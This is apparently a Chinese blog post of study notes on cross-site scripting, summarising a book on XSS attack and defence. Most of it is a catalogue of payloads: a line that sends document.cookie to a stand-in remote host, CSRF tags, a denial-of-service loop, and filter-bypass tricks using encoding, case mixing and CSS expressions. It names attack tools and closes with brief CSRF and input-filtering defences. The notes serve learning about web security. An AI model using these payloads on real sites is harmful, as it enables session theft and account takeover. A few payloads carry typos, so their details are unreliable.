XSS学习笔记

本片文章是读<<XSS跨站脚本gj剖析与防御>>一书的总结

常见的XSS攻击主要用于
1.网络钓鱼,盗用用户账号
2.窃取cookies 非httponly情况下,读取document.cookie
通过xss注入读取document.cookie并将cookie信息记录到远程服务器,然后使用桂林老兵cookie欺骗工具与服务器建立绘画
document.write(<img src=http://xx.com/cookie.aspx?cookie='+document.cookie+'/>)

3.劫持用户浏览器会话(xss-proxy)
利用当前用户的会话,通过ajax请求,指定的操作页面,完成某种操作,比如添加管理员来提高权限;此种方式需要事先熟悉需要攻击网站的请求流程以及相关请求参数

4.强制挂广告

5.页面挂马
6.CSRF 跨站请求伪造 利用客户会话携带cookie访问漏洞平台的操作
常见形式<img src=http://www.xxx.com/adduser?username=/>
<script src="http://www.xxx.com/adduser?username=">
<iframe src="http://www.xxx.com/adduser?username="></iframe>
xmlhttp对象
攻击手段,预先分析漏洞平台的参数请求信息,构造expliot
http://www.xxx.com/adduser?username=xxxx

7.制作蠕虫病毒
8.获取客户端信息,用户浏览历史,ip
9dos/ddos攻击
通过注入恶意代码,劫持用户持续不断请求某服务器
<script>for(;;)alert('xss')</script>

反射性XSS
 
通过用户点击特定URL执行跨站脚本

持久性XSS

将可以脚本存储到客户端或服务器数据库,用户浏览器访问时执行

恶意脚本的执行途径
1.document.write()
2.后台直接绑定未经过滤的变量到前台
3.doc.InnerHtml直接赋值未经过滤的html片段 <img src=javascript:alert(/xxx/)/>
4.将包含恶意js代码的html文件伪装成图片,IE浏览器打开是利用IE浏览器的嗅探机制(ie浏览器时根据文件内容判断执行方式的,其他浏览器根据minetype和文件后缀选择执行方式)的特性,执行恶意代码

5.outlookexpress等邮件客户端软件,发送含有恶意js代码的邮件,收件人打开即中招
6.flash的swf文件制作时,加入geturl(javascript:alert(0))等恶意代码,页面引用swf文件时,中招

7.pdf文件制作时加入恶意js脚本, 代开引用该pdf文件的页面是,中招

8.MHTML 通过将恶意代码base64 编码,加入到MHTML文档中
xss的表现形式
1.利用<>标记注射html/javascript
2.利用html标签属性执行xss,很多html标记属性支持javascript:[code]
<table background="javascript:alert(/xss/)"></table>
<img src=javascript:alert(/xss/) />
3.空格,回车,Tab绕过限制
<img src='javas    cript:alert(/xss/)'/>
4.对标签属性值进行转码 html的属性值支持ASCII玛
<img src="javascrip&#116&#58alert(/xss/)"/>;
5利用DOM事件
<img src="#" onerror=alert(/xss/)/>
6.利用css执行恶意js
body{background-image:url("javascript:aert('xss')")}
body{background-image:expression(alert("xss"))}
然后通过link引用该样式文件,执行攻击
7.通过大小写绕过过滤规则
<iMG SrC="JavAScriPt:alert(0)"/>
8.利用字符编码
javascript:alert('xss')进行10进制转码为&#106&#97&#118........
<img scr="&#106&#97&#118........"/>
9.eval()执行16进制字符串
eval("\x61\x6c\x65....")

10.windows.location.hash 的利用
location.hash获取页面标签的值(页面url里的#)
http://xxx.com/a.php?name="><script>eval(location.hash.substr(1))</script>#alert('xss')

注入的位置

document.URL
Location
document.referer
window.name

1.将危险代码编码后进行攻击

将js脚本转换成十进制或16进制作,Escape等编码为参数加入到路径中,以迷惑用户当伪装的参数输出到页面时,进行执行攻击脚本。
http://www.aa.com/search?q=<script>alert(/xxx/)</script>经16进制转换后伪装成:
http://www.aa.com/search?q=%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%2f%78%78%78%2f%29%3c%2f%73%63%72%69%70%74%3e
用户往往容易中招

json注入攻击
json中含有恶意代码name:<img src=javascript:alert(0)/>,然后执行eval()

常用工具
xss-proxy
XSS-SHELL
anehta 攻击力利器
livehttpheaders 调试http
tamper
fiddler http抓包调试工具
attackapi js攻击框架
beef
Acunetix Web Vulnerability Scanner XSS漏洞扫描工具
xssdetect

xss经常利用的漏洞
1.UTF-7BOMXSS
2.MHTML XSS
3.Data URIs XSS
4.CRLF
5.HACKjSON

CSRF防范手段
1.验证来源referer
2.验证码
3.使用token,加载页面时向页面隐藏于付一个加密的token,提交时客户端会提交此加密token,服务器端判断此token是否存在,并校验是否正确,不正确则是非法请求,可能是CSRF攻击

XSS防御技巧
过滤用户输入,输入编码,asp.net网站不要轻易关闭valicateRequest文章发布页面需要富文本时,使用微软的xss过滤框架HtmlSanitizationLibrary

上一篇:XSS学习笔记(五)-XSS防御


下一篇:【转载】XSS学习笔记